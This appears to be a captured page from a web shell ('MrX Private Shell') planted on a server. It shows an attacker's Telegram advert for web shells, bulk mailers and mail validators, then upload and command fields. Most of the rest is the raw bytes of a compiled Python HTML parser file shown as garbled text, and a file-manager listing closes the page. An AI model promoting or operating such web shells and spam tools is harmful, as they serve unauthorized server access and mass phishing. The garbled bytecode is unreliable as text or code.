__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

*�_i|F��>�SrSSKrSSKrSSKJr S/r\R"S5r\R"S5r\R"S5r	\R"S5r
\R"S	5r\R"S
5r\R"S5r
\R"S5r\R"S
5r\R"S5r\R"S\R"5r\R"S5r\R"S5r"SS\R*5rg)zA parser for HTML and XHTML.�N)�unescape�
HTMLParserz[&<]z
&[a-zA-Z#]z%&([a-zA-Z][-.a-zA-Z0-9]*)[^a-zA-Z0-9]z)&#(?:[0-9]+|[xX][0-9a-fA-F]+)[^0-9a-fA-F]z	<[a-zA-Z]z
</[a-zA-Z]�>z--\s*>z+([a-zA-Z][^\t\n\r\f />\x00]*)(?:\s|/(?!>))*z]((?<=[\'"\s/])[^\s/>][^\s/=>]*)(\s*=+\s*(\'[^\']*\'|"[^"]*"|(?![\'"])[^>\s]*))?(?:\s|/(?!>))*aF
  <[a-zA-Z][^\t\n\r\f />\x00]*       # tag name
  (?:[\s/]*                          # optional whitespace before attribute name
    (?:(?<=['"\s/])[^\s/>][^\s/=>]*  # attribute name
      (?:\s*=+\s*                    # value indicator
        (?:'[^']*'                   # LITA-enclosed value
          |"[^"]*"                   # LIT-enclosed value
          |(?!['"])[^>\s]*           # bare value
         )
        \s*                          # possibly followed by a space
       )?(?:\s|/(?!>))*
     )*
   )?
  \s*                                # trailing whitespace
z#</\s*([a-zA-Z][-.a-zA-Z0-9:_]*)\s*>c��^�\rSrSrSrSrSS.U4SjjrU4SjrSrS	r	S
r
SrSrS
r
SrSrS SjrSrSrSrSrSrSrSrSrSrSrSrSrSrSrSrU=r $)!r�?aFind tags and other markup and call handler functions.

Usage:
    p = HTMLParser()
    p.feed(data)
    ...
    p.close()

Start tags are handled by calling self.handle_starttag() or
self.handle_startendtag(); end tags by self.handle_endtag().  The
data between tags is passed from the parser to the derived class
by calling self.handle_data() with the data as argument (the data
may be split up in arbitrary chunks).  If convert_charrefs is
True the character references are converted automatically to the
corresponding Unicode character (and self.handle_data() is no
longer split in chunks), otherwise they are passed by calling
self.handle_entityref() or self.handle_charref() with the string
containing respectively the named or numeric reference as the
argument.
)�script�styleT)�convert_charrefsc�N>�[TU]5 XlUR5 g)z�Initialize and reset this instance.

If convert_charrefs is True (the default), all character references
are automatically converted to the corresponding Unicode characters.
N)�super�__init__r
�reset)�selfr
�	__class__s  ��"/usr/lib/python3.13/html/parser.pyr
�HTMLParser.__init__Ws���	���� 0���
�
��c�b>�SUlSUl[UlSUl[
TU]5 g)z1Reset this instance.  Loses all unprocessed data.�z???N)�rawdata�lasttag�interesting_normal�interesting�
cdata_elemrr)rrs �rr�HTMLParser.resetas)���������-������
��
�rc�N�URU-UlURS5 g)zyFeed data to the parser.

Call this as often as you want, with as little or as much text
as you want (may include '\n').
rN)r�goahead�r�datas  r�feed�HTMLParser.feedis���|�|�d�*������Q�rc�&�URS5 g)zHandle any buffered data.�N)r�rs r�close�HTMLParser.closers
�����Q�rNc��UR$)z)Return full source of start tag: '<...>'.)�_HTMLParser__starttag_textr$s r�get_starttag_text�HTMLParser.get_starttag_textxs���#�#�#rc��UR5Ul[R"SUR-[R5Ulg)Nz</\s*%s\s*>)�lowerr�re�compile�Ir)r�elems  r�set_cdata_mode�HTMLParser.set_cdata_mode|s/���*�*�,����:�:�n�t���&F����M��rc�(�[UlSUlg�N)rrrr$s r�clear_cdata_mode�HTMLParser.clear_cdata_mode�s��-�����rc���URnSn[U5nX4:Ga�UR(a|UR(dkUR	SU5nUS:aRURS[
X4S-
55nUS:�a,[R"S5RX&5(dGO3UnOHURRX#5nU(aUR5nOUR(aGO�UnX5:aRUR(a.UR(dUR[X#U55 OURX#U5 URX55nX4:XaGOyURnU"SU5(Gaw[ R#X#5(aUR%U5n	O�U"SU5(aUR'U5n	O�U"SU5(aUR)U5n	OiU"SU5(aUR+U5n	OIU"S	U5(aUR-U5n	O)US
-U:dU(aURS5 US
-n	OGO�U	S:Ga�U(dGOy[ R#X#5(aGOaU"SU5(aPUS-U:XaURS5 GO7[.R#X#5(aGOUR1X#S-S5 GOU"SU5(aKUnSH,n
UR3X�S
-5(dMU[U
5-n O UR1X#S
-U5 O�U"SU5(aUR5X#S-S5 O�X#US-R75S:XaUR9X#S-S5 OUU"S	U5(aUR1X#S-S5 O0U"SU5(aUR;X#S-S5 O[=S5eUn	URX95nGO�U"SU5(a�[>R#X#5nU(a^URA5SSnURCU5 URE5n	U"SU	S
-
5(dU	S
-
n	URX95nGMdSX#S;a*URX#US-5 URX3S-5nGO+U"SU5(Ga
[FR#X#5nU(a\URAS
5nURIU5 URE5n	U"SU	S
-
5(dU	S
-
n	URX95nGM[JR#X#5nU(aIU(aAURA5X#S:Xa+URE5n	X�::aUn	URX3S
-5nO?US
-U:a&URS5 URX3S
-5nOOS5eX4:aGM�U(ayX4:atUR(dcUR(a.UR(dUR[X#U55 OURX#U5 URX45nX#SUlg)Nr�<�&�"z[\s;]�</�<!--�<?�<!r#�)z--!z--�-�z	<![CDATA[��	�	<!doctype�we should not get here!z&#����;zinteresting.search() lied)&r�lenr
r�find�rfind�maxr-r.�searchr�start�handle_datar�	updatepos�
startswith�starttagopen�match�parse_starttag�parse_endtag�
parse_comment�parse_pi�parse_html_declaration�
endtagopen�handle_comment�endswith�unknown_declr,�handle_decl�	handle_pi�AssertionError�charref�group�handle_charref�end�	entityref�handle_entityref�
incomplete)rrbr�i�n�j�ampposrRrP�k�suffix�names            rr�HTMLParser.goahead�sp���,�,��
����L���e��$�$�T�_�_��L�L��a�(���q�5�%�]�]�3��A��t��=�F��!���J�J�x�0�7�7��H�H���A���(�(�/�/��;������
�A������A��u��(�(�����$�$�X�g��l�%;�<��$�$�W�q�\�2����q�$�A��v�u� �+�+�J��#�q�!�!��%�%�g�1�1��+�+�A�.�A���a�(�(��)�)�!�,�A����*�*��*�*�1�-�A���a�(�(��
�
�a�(�A���a�(�(��3�3�A�6�A��!�e�q�[�C��$�$�S�)��A��A���q�5���#�)�)�'�5�5��#�D�!�,�,��q�5�A�:� �,�,�T�2�'�-�-�g�9�9� �!�/�/��!���
�>�#�F�A�.�.���&8�F�&�/�/��!��<�<� !�S��[� 0�� %�'9��+�+�G�a�C��N�;�#�K��3�3��)�)�'�A�#�$�-�8� �1�Q�3��-�-�/�;�>��(�(��1����7�#�D�!�,�,��+�+�G�a�C�D�M�:�#�D�!�,�,����w��s�t�}�5�,�-F�G�G��A��N�N�1�(���D�!�$�$��
�
�g�1��� �;�;�=��2�.�D��'�'��-��	�	��A�%�c�1�Q�3�/�/���E�����q�,�A���g�b�k�)��(�(��1�Q�3��8� �N�N�1��c�2����C��#�#�!����3��� �;�;�q�>�D��)�)�$�/��	�	��A�%�c�1�Q�3�/�/���E�����q�,�A��"�(�(��4����u�{�{�}����;�!�I�I�K���6� !�A� �N�N�1�!�e�4����!�e�q�[��$�$�S�)����q�a�%�0�A��5�5�5�q�w�e�z�1�5�����$�$�T�_�_�� � ��'�A�,�!7�8�� � ��1��.����q�$�A��r�{��rc�p�URnX!US-S:XdS5eX!US-S:XaURU5$X!US-S:XaURU5$X!US-R5S	:Xa7UR	S
US-5nUS:XagURX!S-U5 US-$UR
U5$)
Nr?r>z+unexpected call to parse_html_declaration()rAr<rBz<![rCrDrrFr#)rrU�parse_marked_sectionr,rIr\�parse_bogus_comment)rrfr�gtposs    rrW�!HTMLParser.parse_html_declarations����,�,����1��~��%�	D�)C�	D�%��Q�q�S�>�V�#��%�%�a�(�(�
�q��s�^�u�
$��,�,�Q�/�/�
�q��s�^�
!�
!�
#�{�
2��L�L��a��c�*�E���{�����W�q�S��/�0���7�N��+�+�A�.�.rc��URnX1US-S;dS5eURSUS-5nUS:XagU(aURX1S-U5 US-$)Nr?)r>r;z"unexpected call to parse_comment()rrFr#)rrIrY)rrf�reportr�poss     rrp�HTMLParser.parse_bogus_comment(sq���,�,����1��~��-�	C�1B�	C�-��l�l�3��!��$���"�9�������!��C� 0�1��Q�w�rc���URnX!US-S:XdS5e[RX!S-5nU(dgUR5nUR	X!S-U5 UR5nU$)Nr?r=zunexpected call to parse_pi()rF)r�picloserLrMr]rb)rrfrrRrhs     rrV�HTMLParser.parse_pi4sn���,�,����1��~��%�F�'F�F�%����w�!��,�����K�K�M�����w��s�A��'��I�I�K���rc��SUlURU5nUS:aU$URnX1UUl/n[R	X1S-5nU(dS5eUR5nUR
S5R5=UlnXb:a�[R	X65nU(dO�UR
SSS5up�nU
(dSnO0USSSs=:Xa	USS:XdO USSSs=:Xa	USS:XaO OUSSnU(a[U5nURU	R5U45 UR5nXb:aM�X6UR5nUS	;aURX1U5 U$URS
5(aURXt5 U$UR!Xt5 XpR";aUR%U5 U$)Nrr#z#unexpected call to parse_starttag()r?rB�'rF�")r�/>r})r(�check_for_whole_start_tagr�tagfind_tolerantrRrbr`r,r�attrfind_tolerantr�append�striprNrZ�handle_startendtag�handle_starttag�CDATA_CONTENT_ELEMENTSr1)
rrf�endposr�attrsrRrj�tag�m�attrname�rest�	attrvaluerbs
             rrS�HTMLParser.parse_starttag@s���#����/�/��2���A�:��M��,�,��&��0����� �&�&�w�!��4���;�;�;�u��I�I�K��"�[�[��^�1�1�3�3���s��j�!�'�'��3�A���()����1�a�(8�%�H�I�� �	��2�A��$�8�)�B�C�.�8��2�A��#�7��2�3��7�%�a��O�	��$�Y�/�	��L�L�(�.�.�*�I�6�7�����A��j����%�%�'���k�!����W�v�.�/��M��<�<�����#�#�C�/�
�
�
� � ��,��1�1�1��#�#�C�(��
rc�l�URn[RX!5nU(a�UR5nX$US-nUS:XaUS-$US:Xa@UR	SU5(aUS-$UR	SU5(agXA:�aU$US-$US:XagUS;agXA:�aU$US-$[S	5e)
Nr#r�/r}r?rFrz6abcdefghijklmnopqrstuvwxyz=/ABCDEFGHIJKLMNOPQRSTUVWXYZrE)r�locatestarttagend_tolerantrRrbrPr^)rrfrr�rh�nexts      rr~�$HTMLParser.check_for_whole_start_tagls����,�,��&�,�,�W�8�������A��Q�q�S�>�D��s�{��1�u���s�{��%�%�d�A�.�.��q�5�L��%�%�c�1�-�-���5��H��q�5�L��r�z���5�6���u����1�u���6�7�7rc�*�URnX!US-S:XdS5e[RX!S-5nU(dgUR5n[RX!5nU(d�URbURX!U5 U$[RX!S-5nU(d!X!US-S:XaUS-$URU5$URS5R5nURSUR55nURU5 US-$URS5R5nURb$XpR:waURX!U5 U$URU5 UR5 U$)	Nr?r;zunexpected call to parse_endtagr#rFrBz</>r)r�	endendtagrLrb�
endtagfindrRrrNrrpr`r,rI�
handle_endtagr5)rrfrrRrq�	namematch�tagnamer0s        rrT�HTMLParser.parse_endtag�si���,�,����1��~��%�H�'H�H�%�� � ��A�#�.�����	�	���� � ��,������*�� � ��5�!1�2���(�.�.�w�!��<�I���Q�q�S�>�U�*��Q�3�J��3�3�A�6�6��o�o�a�(�.�.�0�G�
�L�L��i�m�m�o�6�E����w�'���7�N��{�{�1�~�#�#�%���?�?�&����&�� � ��5�!1�2������4� ������rc�H�URX5 URU5 gr4)r�r��rr�r�s   rr��HTMLParser.handle_startendtag�s�����S�(����3�rc��gr4�r�s   rr��HTMLParser.handle_starttag����rc��gr4r�)rr�s  rr��HTMLParser.handle_endtag�r�rc��gr4r��rrls  rra�HTMLParser.handle_charref�r�rc��gr4r�r�s  rrd�HTMLParser.handle_entityref�r�rc��gr4r�rs  rrN�HTMLParser.handle_data�r�rc��gr4r�rs  rrY�HTMLParser.handle_comment�r�rc��gr4r�)r�decls  rr\�HTMLParser.handle_decl�r�rc��gr4r�rs  rr]�HTMLParser.handle_pi�r�rc��gr4r�rs  rr[�HTMLParser.unknown_decl�r�r)�__starttag_textrr
rrr)r#)!�__name__�
__module__�__qualname__�__firstlineno__�__doc__r�r
rr r%r(r)r1r5rrWrprVrSr~rTr�r�r�rardrNrYr\r]r[�__static_attributes__�
__classcell__)rs@rrr?s�����*1��+/�������O�$�N��G#�X/�*	�	�(�X8�D%�P �

�
�
�
�
�
�
�
�
�
r)r�r-�_markupbase�htmlr�__all__r.rrercr_rQrXrx�commentcloserr��VERBOSEr�r�r��
ParserBaserr�rr�<module>r�s	��"�
����.���Z�Z��'��
�Z�Z��
%�
��J�J�>�?�	�
�*�*�@�
A���z�z�+�&��
�Z�Z��
%�
�
�*�*�S�/���z�z�)�$���:�:�L�M���J�J�=�>�� �Z�Z�)��Z�Z���
�J�J�s�O�	��Z�Z�>�
?�
�\
��'�'�\
r

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 4.28 KB 0644
entities.cpython-313.pyc File 95.38 KB 0644
parser.cpython-313.pyc File 17.91 KB 0644
Filemanager